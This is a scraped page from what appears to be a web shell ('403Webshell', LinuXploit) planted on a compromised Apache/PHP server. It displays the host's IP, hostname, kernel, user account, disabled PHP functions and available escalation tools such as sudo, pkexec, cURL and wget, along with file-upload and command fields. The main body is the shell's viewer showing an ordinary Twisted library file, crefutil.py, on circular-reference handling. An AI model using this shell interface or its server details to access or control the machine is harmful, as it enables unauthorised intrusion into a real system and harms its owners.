403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.92.178
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/persisted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/twisted/persisted/crefutil.py
# -*- test-case-name: twisted.test.test_persisted -*-

# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.


"""
Utility classes for dealing with circular references.
"""


from twisted.python import log, reflect
from twisted.python.compat import _constructMethod


class NotKnown:
    def __init__(self):
        self.dependants = []
        self.resolved = 0

    def addDependant(self, mutableObject, key):
        assert not self.resolved
        self.dependants.append((mutableObject, key))

    resolvedObject = None

    def resolveDependants(self, newObject):
        self.resolved = 1
        self.resolvedObject = newObject
        for mut, key in self.dependants:
            mut[key] = newObject

    def __hash__(self):
        assert 0, "I am not to be used as a dictionary key."


class _Container(NotKnown):
    """
    Helper class to resolve circular references on container objects.
    """

    def __init__(self, l, containerType):
        """
        @param l: The list of object which may contain some not yet referenced
        objects.

        @param containerType: A type of container objects (e.g., C{tuple} or
            C{set}).
        """
        NotKnown.__init__(self)
        self.containerType = containerType
        self.l = l
        self.locs = list(range(len(l)))
        for idx in range(len(l)):
            if not isinstance(l[idx], NotKnown):
                self.locs.remove(idx)
            else:
                l[idx].addDependant(self, idx)
        if not self.locs:
            self.resolveDependants(self.containerType(self.l))

    def __setitem__(self, n, obj):
        """
        Change the value of one contained objects, and resolve references if
        all objects have been referenced.
        """
        self.l[n] = obj
        if not isinstance(obj, NotKnown):
            self.locs.remove(n)
            if not self.locs:
                self.resolveDependants(self.containerType(self.l))


class _Tuple(_Container):
    """
    Manage tuple containing circular references. Deprecated: use C{_Container}
    instead.
    """

    def __init__(self, l):
        """
        @param l: The list of object which may contain some not yet referenced
        objects.
        """
        _Container.__init__(self, l, tuple)


class _InstanceMethod(NotKnown):
    def __init__(self, im_name, im_self, im_class):
        NotKnown.__init__(self)
        self.my_class = im_class
        self.name = im_name
        # im_self _must_ be a NotKnown
        im_self.addDependant(self, 0)

    def __call__(self, *args, **kw):
        import traceback

        log.msg(f"instance method {reflect.qual(self.my_class)}.{self.name}")
        log.msg(f"being called with {args!r} {kw!r}")
        traceback.print_stack(file=log.logfile)
        assert 0

    def __setitem__(self, n, obj):
        assert n == 0, "only zero index allowed"
        if not isinstance(obj, NotKnown):
            method = _constructMethod(self.my_class, self.name, obj)
            self.resolveDependants(method)


class _DictKeyAndValue:
    def __init__(self, dict):
        self.dict = dict

    def __setitem__(self, n, obj):
        if n not in (1, 0):
            raise RuntimeError("DictKeyAndValue should only ever be called with 0 or 1")
        if n:  # value
            self.value = obj
        else:
            self.key = obj
        if hasattr(self, "key") and hasattr(self, "value"):
            self.dict[self.key] = self.value


class _Dereference(NotKnown):
    def __init__(self, id):
        NotKnown.__init__(self)
        self.id = id


from twisted.internet.defer import Deferred


class _Defer(Deferred[object], NotKnown):
    def __init__(self):
        Deferred.__init__(self)
        NotKnown.__init__(self)
        self.pause()

    wasset = 0

    def __setitem__(self, n, obj):
        if self.wasset:
            raise RuntimeError(
                "setitem should only be called once, setting {!r} to {!r}".format(
                    n, obj
                )
            )
        else:
            self.wasset = 1
        self.callback(obj)

    def addDependant(self, dep, key):
        # by the time I'm adding a dependant, I'm *not* adding any more
        # callbacks
        NotKnown.addDependant(self, dep, key)
        self.unpause()
        resovd = self.result
        self.resolveDependants(resovd)

Youez - 2016 - github.com/yon3zu
LinuXploit